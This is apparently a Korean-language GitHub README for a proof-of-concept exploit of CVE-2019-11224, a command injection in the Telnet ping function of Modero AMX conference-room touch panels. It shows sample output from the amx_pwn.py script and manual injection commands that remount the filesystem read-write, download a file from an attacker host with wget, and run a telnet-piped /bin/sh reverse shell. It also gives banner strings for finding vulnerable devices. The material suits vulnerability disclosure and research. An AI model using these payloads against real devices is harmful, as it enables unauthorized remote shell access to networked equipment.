Modero AMX 코드 실행 (CVE-2019-11224)

이 저장소에는 CVE-2019–11224 (https://link.medium.com/zukA0oCnV8)에 관한 몇 가지 자료가 포함되어 있습니다. 공식 NIST 웹사이트에서 해당 링크가 더 이상 작동하지 않는 것을 확인했기 때문입니다. Modero AMX 장치는 본질적으로 회의실용 터치 패널 장치이며, 다양한 환경에서 볼 수 있고 일반적으로 Telnet이 열려 있습니다. Telnet을 통해 이상적이지 않은 콘솔을 에뮬레이션하기 때문에 "ping" 기능에 명령 구분자(command separator)를 사용하는 코드 주입 취약점이 존재합니다.

이 GitHub 저장소를 처음 만들고 AMX 장치를 살펴본 이후, 이 취약점을 이용해 리버스 셸을 얻는 POC 및 익스플로잇 프로세스를 만들었습니다. 즐거움을 드리길 바랍니다 :}

🐢 amx_pwn.py로 셸 얻기

도움이 될 만한 POC amx_pwn.py를 작성했습니다. 아래는 출력 예시입니다:

┌──(cozyfox㉿submarine)-[/CVE-2019-11224]
└─$ python3 amx_pwn.py -t 192.168.0.21 -fs 192.168.0.41 -fn something.jpg -v 1
[!] Your current settings are:
[*] Target: 192.168.0.21
[*] FileServer and Filename URL: http://192.168.0.41/something.jpg
[*] Verbosity: 1
(^_^)7  Continue? (Y/N): y
[*] RUNNING
Telnet(192.168.0.21,23): recv b'\xff\xfb\x01\r\nWelcome to Modero v2.86.50 Copyright (C) AMX '
Telnet(192.168.0.21,23): IAC WILL 1
Telnet(192.168.0.21,23): recv b'LLC 2002-2009\r\n>'
b'\r\nWelcome to Modero v2.86.50 Copyright (C) AMX LLC 2002-2009\r\n>'
Telnet(192.168.0.21,23): send b"ping ;CMD=$'\\x20-o\\x20remount,rw\\x20/'&&mount$CMD\r\n"
Telnet(192.168.0.21,23): recv b'\xff\xfc\x01'
Telnet(192.168.0.21,23): IAC WONT 1
<..cut to remove clutter...>
Telnet(192.168.0.21,23): recv b'\xff\xfc\x01'
Telnet(192.168.0.21,23): IAC WONT 1
taking a snooze
Telnet(192.168.0.21,23): send b"ping ;CMD=$'\\x20http://192.168.0.41/something.jpg'&&wget$CMD\r\n"
taking a snooze
...

수동으로 수행하는 단계는 아래에서 확인할 수 있습니다:

• 파일 시스템을 R/W로 다시 마운트합니다:
  ping ;CMD=$'\x20-o\x20remount,rw\x20/'&&mount$CMD
  
• 장치에서 접근할 수 있는 파일을 호스팅합니다 - 내용은 다음과 같아야 합니다:
  참고: netcat 리스너가 두 개 필요합니다. 하나는 입력용, 다른 하나는 출력용입니다.
  telnet {YOUR_IP} 1332 | /bin/sh | telnet {YOUR_IP} 1333
  
• 파일을 다운로드합니다 - 참고: 이 주소는 IP여야 하며 HTTP로 서비스되어야 합니다. 이 장치들은 오래되었습니다.
  ping ;CMD=$'\x20http://{YOUR_SYSTEM}/{YOUR_FILE}'&&wget$CMD
  
• 파일을 실행하고 셸을 잡습니다:
  ping ;CMD=$'\x20{YOUR_FILE}'&&/bin/sh$CMD

👁️ Modero AMX 서비스 식별

Telnet 배너(일반적으로 포트 23)에서 다음 문자열을 확인하세요: Welcome to Modero: 또는 Copyright (C) AMX LLC. 2.87.13 이전 버전을 찾으세요.